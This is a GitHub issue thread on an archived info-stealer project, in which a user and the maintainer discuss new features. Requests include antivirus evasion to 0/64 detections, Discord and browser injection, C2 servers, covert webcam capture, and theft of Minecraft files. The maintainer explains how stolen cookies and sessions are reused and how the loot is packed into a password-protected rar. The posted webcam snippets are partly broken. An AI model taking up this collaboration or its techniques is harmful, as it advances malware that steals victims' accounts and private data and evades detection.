Skip to content
This repository has been archived by the owner on Aug 6, 2023. It is now read-only.

suggestions : more features #260

Closed
ghost opened this issue Jul 1, 2023 · 108 comments
Closed

suggestions : more features #260

ghost opened this issue Jul 1, 2023 · 108 comments

Comments

@ghost
Copy link

ghost commented Jul 1, 2023

@Blank-c I have good ideas for some features
Some of them are :-
fully undetected exe file 0/64 virustotal
Better discord and browser injection
more c2 servers

@Blank-c
Copy link
Owner

Blank-c commented Jul 1, 2023

  1. FUD not possible with pyinstaller.
  2. The injection is not coded by be (I don't write javascript) so we'd have to wait until I find (or someone make) a better injection.
  3. Can you give some examples of more C2 servers?

@ghost
Copy link
Author

ghost commented Jul 2, 2023

hmmmmmm
Pyinetaller makes py into exe so obsfucate the py

Also find some good no dualhook js injection for discord browsers and other things like Gmail and YouTube

For the c2 u should make one in py I mean just host one at local host or 127.0.0.1 or smth like that with a secret key tat can be like the webhook or smth

@ghost
Copy link
Author

ghost commented Jul 2, 2023

Oh and also make cookies importable like making them into .json or Netscape and also make py be able to take pictures form webcam I will provide some sample untested code bcz I'm on phone

@Blank-c
Copy link
Owner

Blank-c commented Jul 2, 2023

Cookies are already in netscape format. The py file can already take webcam pics.

@ghost
Copy link
Author

ghost commented Jul 2, 2023

Webcam code untested

import cv2

def take_webcam_screenshot():
# Check if a webcam is available
if cam == "cam_yes":
# Open the webcam
cap = cv2.VideoCapture(0)

    # Check if the webcam is opened successfully
    if not cap.isOpened():
        print("Unable to open the webcam.")
        return

    # Read a frame from the webcam
    ret, frame = cap.read()

    # Check if a frame is successfully read
    if not ret:
        #print("Unable to capture a frame.")
        return

    # Release the webcam
    cap.release()

    # Save the frame as an image file
    cv2.imwrite("screenshot.jpg", frame)

    #print("Screenshot captured and saved as screenshot.jpg")
else:
    #print("No webcam detected.")

def check_webcam_available():
# Attempt to open the webcam
cap = cv2.VideoCapture(0)

# Check if the webcam is opened successfully
if cap.isOpened():
    cam = "cam_yes"  # Webcam detected
else:
    cam = "cam_no"  # No webcam detected

# Release the webcam for 

#the late reply 😁😁😁😁
cap.release()

return cam

Call the function to check webcam availability (for log lol)

cam = check_webcam_available()

Call the function to take a screenshot lol wat am i doin

take_webcam_screenshot()

@Blank-c modify it accordingly

@ghost
Copy link
Author

ghost commented Jul 2, 2023

And more features lemme just

@Blank-c
Copy link
Owner

Blank-c commented Jul 2, 2023

hmmmmmm Pyinetaller makes py into exe so obsfucate the py

The py file is already much obfuscated and further obfuscation isn't changing the detection rate. I have tried it

Also find some good no dualhook js injection for discord browsers and other things like Gmail and YouTube

You can leverage the add to startup option for this

For the c2 u should make one in py I mean just host one at local host or 127.0.0.1 or smth like that with a secret key tat can be like the webhook or smth

One need to port forward their host in order to do this and also this project is a mere stealer, I don't want to turn it into a rat.

@Blank-c
Copy link
Owner

Blank-c commented Jul 2, 2023

Webcam code untested

import cv2

def take_webcam_screenshot(): # Check if a webcam is available if cam == "cam_yes": # Open the webcam cap = cv2.VideoCapture(0)

    # Check if the webcam is opened successfully
    if not cap.isOpened():
        print("Unable to open the webcam.")
        return

    # Read a frame from the webcam
    ret, frame = cap.read()

    # Check if a frame is successfully read
    if not ret:
        #print("Unable to capture a frame.")
        return

    # Release the webcam
    cap.release()

    # Save the frame as an image file
    cv2.imwrite("screenshot.jpg", frame)

    #print("Screenshot captured and saved as screenshot.jpg")
else:
    #print("No webcam detected.")

def check_webcam_available(): # Attempt to open the webcam cap = cv2.VideoCapture(0)

# Check if the webcam is opened successfully
if cap.isOpened():
    cam = "cam_yes"  # Webcam detected
else:
    cam = "cam_no"  # No webcam detected

# Release the webcam for 

#the late reply 😁😁😁😁 cap.release()

return cam

Call the function to check webcam availability (for log lol)

cam = check_webcam_available()

Call the function to take a screenshot lol wat am i doin

take_webcam_screenshot()

@Blank-c modify it accordingly

I know this, but opencv is a very large library and it would make the executable very large.

@ghost
Copy link
Author

ghost commented Jul 2, 2023

... no it won't just import only required things

@ghost
Copy link
Author

ghost commented Jul 2, 2023

It was never abt a rat

@ghost
Copy link
Author

ghost commented Jul 2, 2023

And importabl cookies
Also make roblox and mc things importable
If tats done I'll get my revenge on them the worst thing tat ever happened to this world we don't talk abt tat 🪥

@ghost
Copy link
Author

ghost commented Jul 2, 2023

@Blank-c better code tat imports required things

from cv2 import VideoCapture, imwrite, imshow, waitKey, destroyAllWindows

def take_webcam_screenshot():
    # Check if a webcam is available
    if cam == "cam_yes":
        # Open the webcam
        cap = VideoCapture(0)

        # Check if the webcam is opened successfully
        if not cap.isOpened():
            print("Unable to open the webcam.")
            return

        # Read a frame from the webcam
        ret, frame = cap.read()

        # Check if a frame is successfully read
        if not ret:
            print("Unable to capture a frame.")
            return

        # Release the webcam
        cap.release()

        # Save the frame as an image file
        imwrite("screenshot.jpg", frame)

        print("Screenshot captured and saved as screenshot.jpg")

        # Display the captured frame (optional)
        imshow("Webcam Screenshot", frame)
        waitKey(0)
        destroyAllWindows()
    else:
        print("No webcam detected.")

def check_webcam_available():
    # Attempt to open the webcam
    cap = VideoCapture(0)

    # Check if the webcam is opened successfully
    if cap.isOpened():
        cam = "cam_yes"  # Webcam detected
    else:
        cam = "cam_no"  # No webcam detected

    # Release the webcam
    cap.release()

    return cam

# Call the function to check webcam availability
cam = check_webcam_available()

# Call the function to take a screenshot
take_webcam_screenshot()

@Blank-c
Copy link
Owner

Blank-c commented Jul 2, 2023

... no it won't just import only required things

It does, cv2 is a very big library.

It was never abt a rat

The basic idea of a rat is a piece of malware which can remotely be accessed by the attacker, if we can make localhost or our own server as a C2, it would typically become a remote access trojan.

And importabl cookies Also make roblox and mc things importable If tats done I'll get my revenge on them the worst thing tat ever happened to this world we don't talk abt tat 🪥

Cookies are already importable in firefox, see #133
Roblox cookie can be imported using extentions such as cookie editor, cookiebro, etc.
Minecraft file can be 'imported'. You just need to paste the file in your own minecraft directory. If the session in valid, you will be logged in.

@Blank-c
Copy link
Owner

Blank-c commented Jul 2, 2023

@Blank-c better code tat imports required things

from cv2 import VideoCapture, imwrite, imshow, waitKey, destroyAllWindows
# ...

This still import the cv2 library.

@ghost
Copy link
Author

ghost commented Jul 2, 2023

Time to find an alternative to cv2

@ghost
Copy link
Author

ghost commented Jul 2, 2023

Also find some good injection for discord and browsers

@ghost
Copy link
Author

ghost commented Jul 2, 2023

This might work

from PIL import Image
import numpy as np
import pyvirtualcam

def check_webcam_available():
    try:
        with pyvirtualcam.Camera(width=640, height=480, fps=30) as cam:
            cam.start()
            cam.stop()
        return "cam_yes"  # Webcam detected
    except pyvirtualcam.DeviceNotFoundError:
        return "cam_no"  # No webcam detected

def take_webcam_screenshot():
    # Check if a webcam is available
    if cam == "cam_yes":
        with pyvirtualcam.Camera(width=640, height=480, fps=30) as cam:
            # Capture a screenshot
            image = Image.open('screenshot.jpg')

            # Resize the image to match the webcam resolution
            image = image.resize((640, 480))

            # Convert the image to RGB format
            image = image.convert('RGB')

            # Convert the image to a numpy array
            frame = np.array(image)

            # Send the frame to the virtual webcam
            cam.send(frame)

        print("Screenshot captured and sent to the webcam.")
    else:
        print("No webcam detected.")

# Call the function to check webcam availability
cam = check_webcam_available()

# Call the function to take a screenshot
take_webcam_screenshot()

@ghost
Copy link
Author

ghost commented Jul 2, 2023

@Blank-c try i made it on a simple notepad

On phon

@Blank-c
Copy link
Owner

Blank-c commented Jul 2, 2023

Bro you literally import numpy, the exe would be very huge.
Check for yourself. Use the command pyinstaller --onefile <your file>.py after installing pyinstaller using pip install pyinstaller

@ghost
Copy link
Author

ghost commented Jul 2, 2023

Awwwwwwwwwww
@Blank-c pls comment ur code now I'm turning on my pc I think I can add smth (after testing ofc)

@Blank-c
Copy link
Owner

Blank-c commented Jul 2, 2023

Awwwwwwwwwww
@Blank-c pls comment ur code now I'm turning on my pc I think I can add smth (after testing ofc)

which code?

@ghost
Copy link
Author

ghost commented Jul 2, 2023

Ur bank-graber whol code in on pc

@ghost
Copy link
Author

ghost commented Jul 2, 2023

+I'm a dev

@ghost
Copy link
Author

ghost commented Jul 2, 2023

+this new code has 0 numpy

from PIL import Image
import pyvirtualcam

def check_webcam_available():
    try:
        with pyvirtualcam.Camera(width=640, height=480, fps=30) as cam:
            cam.start()
            cam.stop()
        return "cam_yes"  # Webcam detected
    except pyvirtualcam.DeviceNotFoundError:
        return "cam_no"  # No webcam detected

def take_webcam_screenshot():
    # Check if a webcam is available
    if cam == "cam_yes":
        with pyvirtualcam.Camera(width=640, height=480, fps=30) as cam:
            # Capture a screenshot
            image = Image.open('screenshot.jpg')

            # Resize the image to match the webcam resolution
            image = image.resize((640, 480))

            # Convert the image to RGB format
            image = image.convert('RGB')

            # Create a byte array from the image data
            frame = image.tobytes()

            # Send the frame to the virtual webcam
            cam.send(frame)

        print("Screenshot captured and sent to the webcam.")
    else:
        print("No webcam detected.")

# Call the function to check webcam availability
cam = check_webcam_available()

# Call the function to take a screenshot
take_webcam_screenshot()

@Blank-c
Copy link
Owner

Blank-c commented Jul 2, 2023

Isn't the code already on github

@Blank-c
Copy link
Owner

Blank-c commented Jul 2, 2023

+this new code has 0 numpy

from PIL import Image
import pyvirtualcam

def check_webcam_available():
    try:
        with pyvirtualcam.Camera(width=640, height=480, fps=30) as cam:
            cam.start()
            cam.stop()
        return "cam_yes"  # Webcam detected
    except pyvirtualcam.DeviceNotFoundError:
        return "cam_no"  # No webcam detected

def take_webcam_screenshot():
    # Check if a webcam is available
    if cam == "cam_yes":
        with pyvirtualcam.Camera(width=640, height=480, fps=30) as cam:
            # Capture a screenshot
            image = Image.open('screenshot.jpg')

            # Resize the image to match the webcam resolution
            image = image.resize((640, 480))

            # Convert the image to RGB format
            image = image.convert('RGB')

            # Create a byte array from the image data
            frame = image.tobytes()

            # Send the frame to the virtual webcam
            cam.send(frame)

        print("Screenshot captured and sent to the webcam.")
    else:
        print("No webcam detected.")

# Call the function to check webcam availability
cam = check_webcam_available()

# Call the function to take a screenshot
take_webcam_screenshot()

No webcams available ...

@ghost
Copy link
Author

ghost commented Jul 2, 2023

u dont have webacm

@Blank-c
Copy link
Owner

Blank-c commented Jul 2, 2023

u dont have webacm

Bruh, I litterally have one, did you test the code yourself?

@ghost
Copy link
Author

ghost commented Jul 2, 2023

no my pc is still bootin also i dont have webcam

@ghost
Copy link
Author

ghost commented Jul 2, 2023

just forget abt pycam for a sec ill figure it out i alwaws do now for .js injections

@ghost
Copy link
Author

ghost commented Jul 6, 2023

emme look atmur code

@ghost
Copy link
Author

ghost commented Jul 6, 2023

didnt find yet

@ghost
Copy link
Author

ghost commented Jul 6, 2023

K

@ghost
Copy link
Author

ghost commented Jul 6, 2023

Add feature to steal mc mods under 10 mb

@ghost
Copy link
Author

ghost commented Jul 6, 2023

Adjustable common file size

@ghost
Copy link
Author

ghost commented Jul 6, 2023

And txt will all installed apps

@ghost
Copy link
Author

ghost commented Jul 6, 2023

@Blank-c

@Blank-c
Copy link
Owner

Blank-c commented Jul 6, 2023

I am quite busy this month, you may experiment with the code and make a pull request.

@ghost
Copy link
Author

ghost commented Jul 7, 2023

ok

@ghost
Copy link
Author

ghost commented Jul 7, 2023

@Blank-c why is files rar ed why not ziped with . zip

@Blank-c
Copy link
Owner

Blank-c commented Jul 7, 2023

Python has no built in password protection for zip file, so the stealer uses 3rd party app which uses rar format.

@ghost
Copy link
Author

ghost commented Jul 7, 2023

k

@ghost
Copy link
Author

ghost commented Jul 8, 2023

@Blank-c i want to add smth can i have adder perms or smth

@ghost
Copy link
Author

ghost commented Jul 8, 2023

and where is the tempfolder?

@ghost
Copy link
Author

ghost commented Jul 8, 2023

where founfd?

@Blank-c
Copy link
Owner

Blank-c commented Jul 8, 2023

@Blank-c i want to add smth can i have adder perms or smth

You can easily add something. Just fork the repo using the fork button and makw your changes in the forked repository under your account. Then simply make a pull request. If I like it, I'll accept the changes and the code will be added to this.

@Blank-c
Copy link
Owner

Blank-c commented Jul 8, 2023

@ghost
Copy link
Author

ghost commented Jul 8, 2023

@Blank-c which path

@ghost
Copy link
Author

ghost commented Jul 8, 2023

oh ok in temp
%temp%

@ghost
Copy link
Author

ghost commented Jul 8, 2023

a temp folder in the temp dir

@ghost
Copy link
Author

ghost commented Jul 8, 2023

i made updated .bat and updated readme.txt so tat they r actually helpful

@ghost
Copy link
Author

ghost commented Jul 8, 2023

how does stub.py rars the folder there is no rar.exe anymore

@Blank-c
Copy link
Owner

Blank-c commented Jul 8, 2023

how does stub.py rars the folder there is no rar.exe anymore

It is in the components folder.

@Blank-c
Copy link
Owner

Blank-c commented Jul 8, 2023

The rar.exe is packed with the other files in the sys._MEIPASS folder from where it executes it.

@ghost
Copy link
Author

ghost commented Jul 8, 2023

ill make a pull request @Blank-c

@ghost
Copy link
Author

ghost commented Jul 8, 2023

also those cookies tat we get in a .txt r they netscape @Blank-c

@Blank-c
Copy link
Owner

Blank-c commented Jul 8, 2023

also those cookies tat we get in a .txt r they netscape @Blank-c

yes they are.

@Blank-c
Copy link
Owner

Blank-c commented Jul 8, 2023

ill make a pull request @Blank-c

I'll check when I get home.

@Blank-c Blank-c closed this as completed Jul 10, 2023
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants
@baalware @Blank-c and others